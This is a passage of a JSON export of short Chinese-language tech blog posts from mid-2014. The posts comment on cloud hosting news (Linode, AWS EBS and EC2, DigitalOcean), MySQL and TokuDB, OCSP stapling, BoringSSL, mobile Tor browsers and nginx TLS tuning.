    "body": "<a href=\"https://www.linode.com/\">Linode</a> 推出了比 Linode 2G 更低階的方案 Linode 1G：「<a href=\"https://blog.linode.com/2014/06/16/11th-linode-birthday-10-linode-plan/\">11th Linode Birthday / $10 Linode plan</a>」。\r\n\r\n先前的 2G 太大台了，大多數人根本用不到 (我的 blog 也才租 <a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 的 512MB，然後開 swap file)。現在總算出了 1G 的版本，也許會有一些使用者回流吧，不過我覺得 Linode 的動作太慢了...\r\n\r\n該來把東京的機器 downgrade 了...",
    "title": "Linode 推出 USD$10/month 方案"
  },
  {
    "id": "4769",
    "body": "<a href=\"http://aws.amazon.com/ebs/\">EBS</a> 是 <a href=\"http://aws.amazon.com/\">AWS</a> 上的 block-level storage，除了空間本身要收費以外，I/O 本身也要收費。到今天為止，EBS 只提供 Magnetic volume，也就是與傳統硬碟性質接近的 EBS。\r\n\r\n而今天 AWS 推出了 SSD 的 EBS：「<a href=\"https://aws.amazon.com/blogs/aws/new-ssd-backed-elastic-block-storage/\">New SSD-Backed Elastic Block Storage</a>」，價錢上當然就比傳統硬碟建立的 EBS 貴，但看起來是個可以接受的數字？\r\n\r\n另外傳統硬碟的 Provisioned IOPS volume 也降價了，約 35% off：\r\n\r\n<blockquote>We are also announcing that we are reducing the price of IOPS for Provisioned IOPS volumes by 35%.</blockquote>\r\n\r\n需要效能的應用又多了一項武器...",
    "title": "AWS 推出 SSD EBS"
  },
  {
    "id": "4771",
    "body": "<a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 宣佈新加坡機房 SGP1 支援 IPv6：「<a href=\"https://www.digitalocean.com/company/blog/announcing-ipv6-support-in-singapore/\">Announcing IPv6 Support in Singapore</a>」。\r\n\r\n新加坡機房是第一個 DigitalOcean 機房可以上 IPv6 的原因是因為跑新版的架構 XDDD\r\n\r\n<blockquote>SGP1 is the first datacenter to have IPv6 support because it is running v1.5 of our backend code base. The new version was completely rewritten from the ground up and provides many benefits over the current v1.0 code.</blockquote>\r\n\r\n不過沒看到 IPv6 range，沒辦法測試... (我的 blog 是放在加州，目前還沒有 IPv6 可以玩...)",
    "title": "DigitalOcean 新加坡機房支援 IPv6..."
  },
  {
    "id": "4776",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 看到對 SSD 硬碟壽命的分析：「<a href=\"http://hardware.slashdot.org/story/14/06/16/2218237/endurance-experiment-writes-one-petabyte-to-six-consumer-ssds\">Endurance Experiment Writes One Petabyte To Six Consumer SSDs</a>」。原文出自「<a href=\"http://techreport.com/review/26523/the-ssd-endurance-experiment-casualties-on-the-way-to-a-petabyte\">The SSD Endurance Experiment: Casualties on the way to a petabyte</a>」。\r\n\r\n測試的對象包括了：\r\n\r\n<ul>\r\n\t<li>Corsair Neutron GTX 240GB</li>\r\n\t<li>Intel 335 Series 240GB</li>\r\n\t<li>Samsung 840 Series 250GB</li>\r\n\t<li>Samsung 840 Pro 256GB</li>\r\n\t<li>2 * Kingston HyperX 3K 240GB</li>\r\n</ul>\r\n\r\n寫入 1PB 的資料後，看硬碟的壽命... 然後這三顆還活著：\r\n\r\n<blockquote>That's an astounding total for consumer-grade drives, and the Corsair Neutron GTX, Samsung 840 Pro, and compressible Kingston HyperX 3K are still going!</blockquote>\r\n\r\n很有趣的測試，不知道這是不是代表現在的 SSD 硬碟比較神猛了？\r\n\r\n這些測試都是消費級的 SSD，不知道伺服器用的又是如何 :o (想到之前拿去跑 <a href=\"http://dev.mysql.com/\">MySQL</a> 的好慘啊...)",
    "title": "SSD 的壽命"
  },
  {
    "id": "4778",
    "body": "在 <a href=\"https://console.aws.amazon.com/\">AWS Web Console</a> 上可以看到 <a href=\"http://aws.amazon.com/ec2/\">EC2</a> 的限制了：「<a href=\"http://aws.amazon.com/about-aws/whats-new/2014/06/19/amazon-ec2-service-limits-report-now-available/\">Amazon EC2 Service Limits Report Now Available</a>」。\r\n\r\n像是這樣：\r\n\r\n<img src=\"//i.imgur.com/x3iuF4b.png\" alt=\"\" />\r\n\r\n為什麼會看到一堆 0 的啊，另外一個公司的帳號反而看不到 c3.8xlarge...",
    "title": "AWS Web Console 上可以看到 EC2 的限制了"
  },
  {
    "id": "4780",
    "body": "<a href=\"http://aws.amazon.com/elastictranscoder/\">Amazon Elastic Transcoder</a> 支援將字幕壓進影片了：「<a href=\"https://aws.amazon.com/blogs/aws/captions-for-transcoding/\">Process Captions with Amazon Elastic Transcoder</a>」。\r\n\r\n列出好多不同的字幕格式：\r\n\r\n<ul>\r\n\t<li>CEA-608</li>\r\n\t<li>CEA-708</li>\r\n\t<li>TTML</li>\r\n\t<li>DFXP</li>\r\n\t<li>EBU-TT</li>\r\n\t<li>SRT</li>\r\n\t<li>WebVTT</li>\r\n\t<li>SCC</li>\r\n\t<li>mov-text</li>\r\n</ul>\r\n\r\n只看過 SRT 格式...",
    "title": "Amazon Elastic Transcoder 支援字幕"
  },
  {
    "id": "4782",
    "body": "<a href=\"http://www.percona.com/\">Percona</a> 前幾天發表的新服務，<a href=\"http://www.percona.com/products/percona-managed-services/percona-backup-service\">Percona Backup Service</a>：「<a href=\"http://www.mysqlperformanceblog.com/2014/06/17/percona-launches-managed-mysql-backup-service-solution/\">MySQL Backup Service from Percona</a>」。\r\n\r\n只提供人力服務，而非雲端服務：\r\n\r\n<blockquote>You provide the backup servers – on premise, in the cloud, or any combination. We implement the tools and processes to run your backups.</blockquote>\r\n\r\n你還是要自己準備備份的設備，所以資料都還是可以控制在自己的手上。這個服務是借重 Percona 的人對 <a href=\"http://dev.mysql.com/\">MySQL</a> 的專長所發展的服務。\r\n\r\n不過目前官網上沒有列出價錢，要寫信去問。\r\n\r\n另外文章裡有提到「<a href=\"http://www.percona.com/resources/mysql-white-papers/mysql-backup-and-recovery-best-practices\">MySQL Backup and Recovery Best Practices</a>」這份投影片，可以看一看 Percona 對備份的規劃，主要是從技術的方面討論 (尤其是備份時產生的 LOCK 問題)。",
    "title": "Percona 的 MySQL 備份服務"
  },
  {
    "id": "4784",
    "body": "微軟透過媒體公司 (或是公關公司) 試著找 Blogger 寫 IE 相關的文章，不過這次找錯人而爆炸了：「<a href=\"http://uncrunched.com/2014/06/17/microsoft-paying-bloggers-to-write-about-internet-explorer/\">Microsoft Paying Bloggers To Write About Internet Explorer</a>」。\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/Michael_Arrington\">Michael Arrington</a>，<a href=\"http://techcrunch.com/\">TechCrunch</a> 的共同創辦人，在公司被 <a href=\"http://www.aol.com/\">AOL</a> 併購後另外開了自己的 blog 來寫他自己對於科技業的種種看法。\r\n\r\n而他的 blog「<a href=\"http://uncrunched.com/\">Uncrunched</a>」的最上方就是：\r\n\r\n<img src=\"//i.imgur.com/zNevSd5.png\" alt=\"\" />\r\n\r\n馬上中大獎...",
    "title": "微軟試著找 Blogger 寫 IE 相關的文章"
  },
  {
    "id": "4786",
    "body": "OCSP (<a href=\"https://en.wikipedia.org/wiki/Online_Certificate_Status_Protocol\">Online Certificate Status Protocol</a>) 是用來檢查 SSL certificate 是否被撤銷的方法。OCSP server 接受 HTTP POST 後，回答 client 這個 SSL certificate 是否仍然有效。\r\n\r\n對於 client 來說，這主要有兩個問題：\r\n\r\n<ul>\r\n\t<li>client 需要多花時間連到 OCSP server 確認。</li>\r\n\t<li>隱私問題：OCSP server 會知道「這個使用者試著連到使用這個 SSL certificate」的資訊。</li>\r\n</ul>\r\n\r\n而對於 OCSP server 來說，這個方法的 scalability 很差，熱門的站台會產生大量的流量打進 OCSP server。\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/OCSP_stapling\">OCSP stapling</a> 則是解決這個問題的方法。藉由 server 向 OCSP server 要一次 OCSP response 後，直接傳回 OCSP response 給 client (通常是 browser) 避開了上面的問題。這個方法也逐漸在普及了：(取自英文版維基百科文章內的說明)\r\n\r\n<blockquote>OCSP stapling has not seen broad deployment to date, however this is changing. The OpenSSL project included support in their 0.9.8g release with the assistance of a grant from the Mozilla Foundation.\r\n\r\nApache HTTP Server supports OCSP stapling since version 2.3.3, the nginx web server since version 1.3.7, and LiteSpeed Web Server since version 4.2.4. and Microsoft's IIS since Windows Server 2008\r\n\r\nOn the browser side, OCSP stapling was implemented in Firefox 26 and in Internet Explorer since Windows Vista.</blockquote>\r\n\r\n所以已經有不少 client 與 server 都支援了...",
    "title": "OCSP stapling"
  },
  {
    "id": "4789",
    "body": "前幾天 <a href=\"http://aws.amazon.com/\">AWS</a> 推出 <a href=\"http://aws.amazon.com/ebs/\">EBS</a>-SSD (參考「<a href=\"http://blog.gslin.org/archives/2014/06/18/4769/aws-%E6%8E%A8%E5%87%BA-ssd-ebs/\">AWS 推出 SSD EBS</a>」)，然後今天看到「<a href=\"http://alestic.com/2014/06/ec2-ebs-ssd-ami\">EBS-SSD Boot AMIs For Ubuntu On Amazon EC2</a>」。\r\n\r\n<a href=\"http://www.canonical.com/\">Canonical</a> 正式的說明在「<a href=\"https://lists.ubuntu.com/archives/ubuntu-cloud/2014-June/000957.html\">[ubuntu-cloud] Amazon SSD backed EBS volumes</a>」這邊可以看到，而「<a href=\"http://cloud-images.ubuntu.com/locator/ec2/\">Amazon EC2 AMI Locator</a>」上也新增了 EBS-SSD 的部份。",
    "title": "用 EBS-SSD 開機的 Ubuntu"
  },
  {
    "id": "4791",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/2014-06-20.html\">2014/06/20 的 Hacker News Daily</a> 上看到尺規作圖的遊戲：「<a href=\"http://euclidthegame.org/Level1.html\">Euclid: The Game</a>」。\r\n\r\n很腦力激盪... XD",
    "title": "尺規作圖的遊戲..."
  },
  {
    "id": "4793",
    "body": "<a href=\"https://www.google.com/\">Google</a> 也跳下去 fork 一個 <a href=\"https://www.openssl.org/\">OpenSSL</a> 出來了，這次的主力是放在 <a href=\"http://www.android.com/\">Android</a> 以及 <a href=\"https://www.google.com/chrome\">Chrome</a> 上：「<a href=\"https://www.imperialviolet.org/2014/06/20/boringssl.html\">BoringSSL</a>」。\r\n\r\nBoringSSL 是暫時性的名稱，不過在「<a href=\"https://boringssl.googlesource.com/boringssl/\">boringssl - Git at Google</a>」這邊已經用這個名稱了...\r\n\r\n另外一個重要的說明是 license 的部份：\r\n\r\n<blockquote>We have already relicensed some of our prior contributions to OpenSSL under an ISC license at their request and completely new code that we write will also be so licensed.</blockquote>\r\n\r\n將會改用 <a href=\"https://en.wikipedia.org/wiki/ISC_license\">ISC license</a>。",
    "title": "Google 也 fork 一個 OpenSSL 出來了... (BoringSSL？)"
  },
  {
    "id": "4795",
    "body": "欠了很久的雜記。既然是雜記，只是把一些事情記錄下來，許多句子的主題會跳來跳去，請多見諒。\r\n\r\n先解釋標題的三個詞彙。這邊要講的是三種存取資料的方式：\r\n\r\n<ul>\r\n\t<li>資料結構：直接操作最底層的資料結構。</li>\r\n\t<li>RDBMS (Relational Database Management System，關聯式資料庫)：透過 RDBMS 存取資料的方式，在 open source 領域比較常遇到 <a href=\"http://dev.mysql.com/\">MySQL</a> 與 <a href=\"http://www.postgresql.org/\">PostgreSQL</a>。由於與下面的 ORM 比較，這一條指的是透過 SQL query 去存取資料。</li>\r\n\t<li>ORM (Object-Relational Mapping)：透過程式語言的 object 以及 object 之間的關聯性存取資料。</li>\r\n</ul>\r\n\r\n彈性最高、效能也最好的是直接的資料存取，但寫起來也最複雜；而 ORM 大致上就是反過來。\r\n\r\n現代的 RDBMS 大多都有實做 <a href=\"https://zh.wikipedia.org/wiki/ACID\">ACID</a>，在自己操作資料結構時考慮這塊會比較辛苦。兩個層級之間有一些 library 試著解決這個問題 (像是 <a href=\"http://www.oracle.com/us/products/database/berkeley-db/index.html\">BerkeleyDB</a> 或是 <a href=\"https://code.google.com/p/leveldb/\">LevelDB</a>)，不過這篇文章暫時跳過。\r\n\r\nMySQL 與其他的 RDBMS 比較起來欠了許多東西，但 High Availability 的成熟度以及效能而成為 open source 的第一選項。而也因為許多人使用，大家都知道 MySQL 的先天限制，也有許多 workaround 出現，所以大多數的狀況下這不是問題。\r\n\r\nMySQL 的 InnoDB 其實寫的相當不錯，但 MySQL 的 SQL parser 一直都是 MySQL 的痛處，所以許多人使用 MySQL 時會儘量使用 simple query，而 ORM 的特性剛好可以搭上風。\r\n\r\n使用 ORM 時最常見要避免的是 N+1 的問題，其他常見到的問題大多都不是 ORM 專有的。\r\n\r\n先整理到這邊。",
    "title": "資料結構、RDBMS、ORM"
  },
  {
    "id": "4797",
    "body": "在「<a href=\"http://kottke.org/14/06/realtime-map-of-lightning-strikes\">Realtime map of lightning strikes</a>」這邊提到了「<a href=\"http://www.blitzortung.org/\">Blitzortung.org &ndash; lightning map USA, Canada &ndash; thunderstorms and lightning strikes</a>」這個即時的雷擊統計計畫。\r\n\r\n<img src=\"//i.imgur.com/CqZnCJu.jpg\" alt=\"\" />\r\n\r\n目前只有北美、歐洲以及澳洲有偵測器，亞洲是沒有偵測資料的... 看起來這個計畫已經好幾年了。",
    "title": "即時雷擊資訊"
  },
  {
    "id": "4799",
    "body": "第一次看到，記錄起來...\r\n\r\n<img src=\"//i.imgur.com/5UX8jpv.png\" alt=\"\" />",
    "title": "StackOverflow 的 Offline 畫面"
  },
  {
    "id": "4801",
    "body": "<a href=\"http://www.percona.com/\">Percona</a> 的「<a href=\"http://www.mysqlperformanceblog.com/2014/06/23/getting-to-know-tokudb-for-mysql/\">Getting to know TokuDB for MySQL</a>」這篇文章雖然標題是想要宣傳 <a href=\"http://www.tokutek.com/products/tokudb-for-mysql/\">TokuDB</a>，但其實把 <a href=\"http://dev.mysql.com/\">MySQL</a> 的歷史也講了一遍...\r\n\r\n前面講到 InnoDB 的崛起時，就有提到就算你不使用 InnoDB 提供的 transaction，他的 crash-safe 性質也仍然是許多人選用 InnoDB 的重要因素之一：\r\n\r\n<blockquote>Even those that don’t really need transactions rejoice in the crash resistance strength of InnoDB.</blockquote>\r\n\r\n後面提到 TokuDB 時當然都會提到 Fractal Tree Indexes 這個資料結構對於現代硬體設備的優點。而英文版維基百科在今年三月時總算建立了 <a href=\"https://en.wikipedia.org/wiki/Fractal_tree_index\">Fractal tree index</a> 這個條目，整理的還算完整，之前是去看投影片了解這個資料結構的特性...\r\n\r\nPercona 目前對 TokuDB 的等級是放在 beta 版，等 GA 後再來完整的測過一次，另外也想要測能不能在同一個 transaction 內使用 InnoDB table &amp; TokuDB table，這對 zero-downtime migration 還蠻重要的，如果不可行的話工程就比較大了...",
    "title": "Percona 講 TokuDB"
  },
  {
    "id": "4803",
    "body": "任天堂自己出了「<a href=\"http://e3.nintendo.com/games/wiiu/mario-maker/\">Mario Maker for Wii U - Nintendo @ E3</a>」這個東西，這跟本就是要大家做孔明的陷阱？\r\n\r\n請參考「<a href=\"http://wiki.komica.org/wiki2/?%E5%AD%94%E6%98%8E%E3%81%AE%E7%BD%A0\">孔明の罠(こうめいのわな)/Komei's Trap</a>」這個條目，以及這條目下的「Nico之連結（需註冊）」這邊的影片連結。在 YouTube 上找「<a href=\"https://www.youtube.com/results?search_query=%E5%AD%94%E6%98%8E%E7%9A%84%E9%99%B7%E9%98%B1\">孔明的陷阱</a>」也有不少影片，像是：\r\n\r\n<iframe width=\"640\" height=\"480\" src=\"//www.youtube.com/embed/AhMfbUm1NoI\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\n官方自己生了一個編輯器後可以想像 XD",
    "title": "孔明的陷阱，官方版？"
  },
  {
    "id": "4806",
    "body": "<a href=\"https://www.google.com/\">Google</a> 的 <a href=\"https://plus.google.com/+DavidCrawshaw\">David Crawshaw</a> 提出了「<a href=\"https://docs.google.com/document/d/1N3XyVkAP8nmWjASz8L_OjjnjVKxgeVBjIsTr5qIUcA4/preview?sle=true\">Go support for Android</a>」的計畫。\r\n\r\n提案中是希望 <a href=\"http://golang.org/\">Go</a> 1.4 可以開始支援：\r\n\r\n<blockquote>During the Go 1.4 cycle, GOOS=android will be introduced to the Go repository, along with cgo support on Android (contributed by Elias Naur). Dalvik/ART-loadable .so files will be produced using the external linker provided in the Android NDK.</blockquote>\r\n\r\n不確定 Go 目前的運作方式是怎麼樣 (i.e. <a href=\"https://www.google.com/\">Google</a> 的影響力到底有多少)，前幾天才出 1.3：「<a href=\"http://blog.golang.org/go1.3\">Go 1.3 is released</a>」，1.4 應該還有一段時間才有機會看到。",
    "title": "Go 對 Android 的支援"
  },
  {
    "id": "4813",
    "body": "在「<a href=\"https://hacks.mozilla.org/2014/06/webide-lands-in-nightly/\">WebIDE Lands in Nightly</a>」這邊看到 <a href=\"http://www.mozilla.org/firefox/\">Firefox</a> 將 WebIDE 整合進 Nightly 版本，代表之後的幾個版本後就會變成正式版...\r\n\r\n從開頭這段：\r\n\r\n<blockquote>Editor’s note: if you want to help test it on a recent nightly you can toggle the devtools.webide.enabled preference in about:config. The WebIDE is available today under Tools&gt;Web Developer&gt;App Manager and will be renamed in tomorrow’s Nightly into WebIDE.</blockquote>\r\n\r\n以及一些截圖資訊：\r\n\r\n<img src=\"//i.imgur.com/lzznwRr.png\" alt=\"\" />\r\n\r\n<img src=\"//i.imgur.com/rXCNImZ.png\" alt=\"\" />\r\n\r\n都可以看出來是跟 html5 app 的開發有關。\r\n\r\n找資料的時候發現國內有人報導過了：「<a href=\"http://www.ithome.com.tw/news/88890\">Firefox變身HTML5全功能IDE　光用瀏覽器就能開發各平臺App</a>」，這邊就不再介紹太多。\r\n\r\n比較想要知道的還是決策的部份是怎麼想的：綁到 Firefox 預設環境裡面，而非用 extension 方式安裝...？",
    "title": "Firefox 的 WebIDE"
  },
  {
    "id": "4817",
    "body": "這幾天 blog 常常出現 504，連到機器上發現 <a href=\"http://dev.mysql.com/\">MySQL</a> 很忙，才發現是舊站 spam 的量太大的問題造成的，把舊站的 comment 關掉後就好不少，現在看機器的 CPU loading 應該是正常多了。\r\n\r\n新站已經是用 <a href=\"https://disqus.com/\">DISQUS</a> 所以比較沒有 comment spam 的問題。舊站那邊除了關掉 comment 外，另外直接進 MySQL 把 2006 年之後的 comment 都丟到 pending 裡面去。(因為 2005 年 8 月後就沒更新舊站了)\r\n\r\n來研究看看要怎麼把舊的 comment 丟進 <a href=\"https://akismet.com/\">Akismet</a>...\r\n\r\n<strong>Update</strong>：發現只要按下 Check for Spam 的按鈕就會把目前 Pending comments 都丟去 Akismet 掃，先丟著 :p",
    "title": "把舊站的 comment 關掉..."
  },
  {
    "id": "4819",
    "body": "<a href=\"http://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 新增了 Whitelist Header 的功能：「<a href=\"https://aws.amazon.com/blogs/aws/enhanced-cloudfront-customization/\">Deliver Custom Content With CloudFront</a>」。\r\n\r\n如同在 post 裡說明的：\r\n\r\n<blockquote>If you choose the Whitelist option, each header that you add to the list becomes part of the cache key for the URLs associated with the distribution.</blockquote>\r\n\r\n有點像是 HTTP 協定裡 <code>Vary</code> 想要解決的問題，只是做在 CDN 這端。這個功能蠻多 CDN 都有，<a href=\"http://aws.amazon.com/\">AWS</a> 總算補上了...\r\n\r\n這次除了可以針對 custom HTTP header 處理外，CloudFront 還做了不少事情：\r\n\r\n<ul>\r\n\t<li>Mobile Device Detection</li>\r\n\t<li>Geo-Targeting</li>\r\n\t<li>Multi-Site Hosting</li>\r\n\t<li>Protocol Detection</li>\r\n\t<li>CORS (Cross Origin Resource Sharing)</li>\r\n</ul>\r\n\r\n前兩項還蠻有意義的，這代表會有人幫你更新資料。而 CloudFront 總算是支援 CORS 了...",
    "title": "Amazon CloudFront 的新增功能"
  },
  {
    "id": "4825",
    "body": "在「<a href=\"http://venturebeat.com/2014/06/19/adrian-cockcroft-public-cloud/\">Cloud guru Adrian Cockcroft on Netflix, Amazon, Google, and DigitalOcean</a>」這篇裡面提到 <a href=\"http://www.netflix.com/\">Netflix</a> 現在不僅使用 <a href=\"http://aws.amazon.com/\">AWS</a>，還使用了 <a href=\"https://cloud.google.com/products/compute-engine/\">GCE</a>：\r\n\r\n<blockquote>The company’s services are now all hosted in the public cloud, but not just in AWS. Netflix is also using Google Compute Engine.</blockquote>\r\n\r\n不算是很意外... 畢竟有那個 scale 與實力。",
    "title": "Netflix 不僅使用 AWS，還使用了 GCE..."
  },
  {
    "id": "4827",
    "body": "<img src=\"//i.imgur.com/pA16t7s.png\" alt=\"\" />\r\n\r\n原始程式碼在「<a href=\"http://olivier.poudade.free.fr/src/Wolf128.asm\">Wolf128.asm</a>」這邊，依照說明，是跑在 Windows XP SP3 + DOSBox。在「<a href=\"http://finalpatch.blogspot.com/2014/06/dissecting-128-byte-raycaster.html\">Dissecting the 128-byte raycaster</a>」這邊的「Assembly code analysis」這段有程式碼的解說。\r\n\r\n<iframe width=\"640\" height=\"480\" src=\"//www.youtube.com/embed/cD49RXnEGNE\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\n如同引用的文章一開始說的，這結合了滑鼠控制、材質貼圖、Ray casting 以及動畫效果的程式，而只有 128bytes！\r\n\r\n我上面這一段文字用 UTF-8 表示都已經超過 128bytes 了... ~_~",
    "title": "128bytes 組合語言的 3D 綜合展示..."
  },
  {
    "id": "4830",
    "body": "看到「<a href=\"https://stacksocial.com/sales/mondohub-28-usb-ports-one-hub-to-rule-them-all?aid=a-23fkec3s#\">MondoHub: 28 USB Ports & One Hub To Rule Them All</a>」：\r\n\r\n<img src=\"//i.imgur.com/dMIWTiN.jpg\" alt=\"\" />\r\n\r\n瞬間有種「沃槽這什麼鬼東西」...\r\n\r\n28 Port 是 24 個 USB 2.0 以及 4 個 USB 3.0：\r\n\r\n<blockquote>The 28-Port MondoHub features 24 USB 2.0 ports and 4 USB 3.0 ports to give you ample space to charge your devices.</blockquote>\r\n\r\n這實在太有趣了 XD",
    "title": "28 Port 的 USB Hub..."
  },
  {
    "id": "4833",
    "body": "在「<a href=\"http://www.streamingmedia.com/Articles/ReadArticle.aspx?ArticleID=97869&amp;PageNum=2\">Amazon Elastic Transcoder: Review</a>」這邊比較了 <a href=\"http://aws.amazon.com/elastictranscoder/\">Amazon Elastic Transcoder</a> 與 <a href=\"http://zencoder.com/en/\">Zencoder</a> 兩個服務。\r\n\r\n結論在一開頭就先提出來了：\r\n\r\n<blockquote>For broadcasters and high-volume producers, Amazon's Elastic Transcoder has too many limitations. For everyone else, it's an appealing, if flawed, solution.</blockquote>\r\n\r\n就轉出來的品質來說，作者認為沒什麼差異：\r\n\r\n<img src=\"//i.imgur.com/h9ucVNK.png\" alt=\"\" />\r\n\r\n但就速度來說，Amazon Elastic Transcoder 的速度偏慢：\r\n\r\n<img src=\"//i.imgur.com/Xzq2e6e.png\" alt=\"\" />\r\n\r\n另外作者在文末也給了不少負面評價... 記錄起來以後應該用的到 :o",
    "title": "Amazon Elastic Transcoder 與 Zencoder 的比較"
  },
  {
    "id": "4835",
    "body": "<img src=\"//i.imgur.com/D9DR2NP.jpg\" alt=\"\" />\r\n\r\n<a href=\"http://bost.ocks.org/mike/\">Mike Bostock</a> (<a href=\"http://d3js.org/\">D3.js</a> 的創始人之一) 在 <a href=\"http://eyeofestival.com/\">Eyeo 2014</a> 上展現了要如何將演算法視覺化表現出來：「<a href=\"http://bost.ocks.org/mike/algorithms/\">Visualizing Algorithms</a>」。\r\n\r\n既然是對演算法的展示，當然也都伴隨著對資料的處理。每一個圖形表示都有 D3.js 的 sample code 告訴你怎麼產生的。\r\n\r\n與其他看到的 D3.js 範例不同，他給出來的範例可以感覺到「樸實無華」的壓迫感。文章開頭用梵谷「<a href=\"https://zh.wikipedia.org/wiki/%E7%BD%97%E7%BA%B3%E6%B2%B3%E4%B8%8A%E7%9A%84%E6%98%9F%E5%A4%9C\">隆河上的星夜</a>」也很配合整篇文章的風格。\r\n\r\n有玩 D3.js 或是對資料視覺化的人有興趣或是有研究的人都應該去看他怎麼表現「動作」(演算法) 的部份。",
    "title": "Mike Bostock 的 Visualizing Algorithms"
  },
  {
    "id": "4837",
    "body": "在「<a href=\"http://xordern.net/ip-leakage-of-mobile-tor-browsers.html\">The problem behind mobile TOR browsers' ip disclosure</a>」測了四個行動平台的 <a href=\"https://www.torproject.org/\">Tor</a> 瀏覽器，其中三個是 <a href=\"http://www.android.com/\">Android</a> 上的，一個是 <a href=\"https://www.apple.com/ios/\">iOS</a> 的。\r\n\r\n四個瀏覽器測試的結果中，只有 iOS 上的 <a href=\"https://itunes.apple.com/us/app/onion-browser/id519296448?mt=8\">Onion Browser</a> (要 USD$0.99) 可以在修改設定後達到最低限度「隱藏 real ip」的標準：\r\n\r\n<img src=\"//i.imgur.com/i06T24z.png\" alt=\"\" />\r\n\r\n作者的建議是不要在行動平台上有太多期望，隱藏 real ip 只是其中一個環節...",
    "title": "行動平台上的 Tor browser"
  },
  {
    "id": "4839",
    "body": "<a href=\"http://instagram.com/\">Instagram</a> 在 <a href=\"http://instagram-engineering.tumblr.com/\">Instagram Engineering Blog</a> 上宣佈的消息：「<a href=\"http://instagram-engineering.tumblr.com/post/89992572022/migrating-aws-fb\">Migrating From AWS to FB</a>」。\r\n\r\n整個 migration 的過程是採取不停機轉移，所以 effort 比直接停機轉移高很多：\r\n\r\n<blockquote>The main blocker to this easy migration was that Facebook’s private IP space conflicts with that of EC2. We had but one route: migrate to Amazon’s Virtual Private Cloud (VPC) first, followed by a subsequent migration to Facebook using Amazon Direct Connect. Amazon’s VPC offered the addressing flexibility necessary to avoid conflicts with Facebook’s private network.</blockquote>\r\n\r\n先把整個系統轉移到 <a href=\"https://aws.amazon.com/vpc/\">Amazon VPC</a> 裡，然後再拉 <a href=\"https://aws.amazon.com/directconnect/\">AWS Direct Connect</a> 串起來，接下來才是慢慢把 instance 轉移到 <a href=\"https://www.facebook.com/\">Facebook</a> 的機房內。\r\n\r\n中間也有一些工作：\r\n\r\n<blockquote>To provide portability for our provisioning tools, all of the Instagram-specific software now runs inside of a Linux Container (LXC) on the servers in Facebook’s data centers.</blockquote>\r\n\r\n所以已經導入 <a href=\"https://linuxcontainers.org/\">LXC</a> 了...",
    "title": "Instagram 從 AWS 搬到 Facebook 機房"
  },
  {
    "id": "4841",
    "body": "在「<a href=\"https://www.igvita.com/2013/12/16/optimizing-nginx-tls-time-to-first-byte/\">Optimizing NGINX TLS Time To First Byte (TTTFB)</a>」這篇文章裡在討論要如何讓 <a href=\"http://nginx.org/\">nginx</a> 的 TLS Time to First Byte (TTTFB) 盡可能短。\r\n\r\n可以看到文章裡面用到兩個方法，一個是修改 nginx 的程式碼縮小 TLS record size。我對是覺得頗危險，尤其是作者的改法不知道有什麼 side-effect... (要注意 nginx 裡面直接拿 <code>NGX_SSL_BUFSIZE</code> 給 <code>BIO_set_write_buffer_size</code> 使用，這代表有可能還有其他的地方也是這樣搞？)\r\n\r\n第二個方法是開啟 <a href=\"http://tools.ietf.org/html/draft-bmoeller-tls-falsestart-00\">TLS False Start</a>，目前主流的瀏覽器都陸陸續續支援了。\r\n\r\n這是文章作者的測試：\r\n\r\n<img src=\"//i.imgur.com/L59c3MK.png\" alt=\"\" />\r\n\r\n可以看到時間減少的相當多。\r\n\r\n現在是期望作者這篇文章的測試可以讓 patch 合併回 mainstream 後再用，這樣有比較多人 audit...",
    "title": "最佳化 nginx 的 TLS Time to First Byte (TTTFB)"
  },
  {
    "id": "4845",
    "body": "<a href=\"http://aws.amazon.com/ec2/\">Amazon EC2</a> 增加了新的 T2 instance：「<a href=\"https://aws.amazon.com/blogs/aws/low-cost-burstable-ec2-instances/\">New Low Cost EC2 Instances with Burstable Performance</a>」。\r\n\r\n<img src=\"//i.imgur.com/o1NuyYb.png\" alt=\"\" />\r\n\r\nT2 系列出了三個等級：t2.micro (1GB)、t2.small (2GB)、t2.medium (4GB)。以 us-east-1 的 t2.micro 價錢來看，只貴 t1.micro 一點點 (USD$0.012/hour 與 USD$0.013/hour)，但記憶體大了不少 (640MB 與 1GB)。\r\n\r\n另外推出了 CPU Credits 這種計算方式，可以累計 24 小時的 CPU Credits。我在想，<a href=\"http://aws.amazon.com/\">AWS</a> 能夠推出這個機制，是已經做到像是 <a href=\"http://www.vmware.com/\">VMware</a> 的 vMotion 之類的不停機遷移嗎？對於在 10Gbps 的 1GB RAM 上的確是不用一秒鐘就可以傳完 RAM 的內容...\r\n\r\nCPU Credits 這個機制跟 auto scaling 解決問題的方向有點不太一樣，但也是還不錯的方法... 拿來打組合拳應該還不錯 :p\r\n\r\n另外一個比較特別的是在文末有提到對 m1.small 與 m1.medium 的想法。t2.{small,medium} 被認為是 m1.{small,medium} 的接班人 (之一？)：\r\n\r\n<blockquote><ul>\r\n\t<li>t1.micro to t2.micro</li>\r\n\t<li>m1.small to t2.small</li>\r\n\t<li>m1.medium to t2.medium</li>\r\n</ul></blockquote>\r\n\r\n其中 m3.medium 之前是被認為是 m1.medium 的接班人，看起來雖然都是 General Purpose，但打算多分幾種不同的應用來滿足需求。",
    "title": "Amazon EC2 增加 T2 instance"
  },
  {
    "id": "4847",
    "body": "剛剛看到 <a href=\"http://www.percona.com/\">Percona</a> 發佈的消息：「<a href=\"http://www.mysqlperformanceblog.com/2014/07/01/percona-server-5-6-19-67-0-with-tokudb-ga-now-available/\">Percona Server 5.6.19-67.0 with TokuDB (GA) now available</a>」。\r\n\r\n好快...\r\n\r\n可以來測試 <a href=\"http://www.drbd.org/\">DRBD</a> + <a href=\"http://www.linux-ha.org/wiki/Heartbeat\">Heartbeat</a> 配上 <a href=\"http://www.tokutek.com/\">TokuDB</a> 的穩定性如何了，另外也要與 InnoDB 比較優缺點...\r\n\r\n然後要查一個 transaction 內是否可以 InnoDB 與 TokuDB 混用。",
    "title": "Percona Server 的 TokuDB 居然 GA 了..."
  },
  {
    "id": "4851",
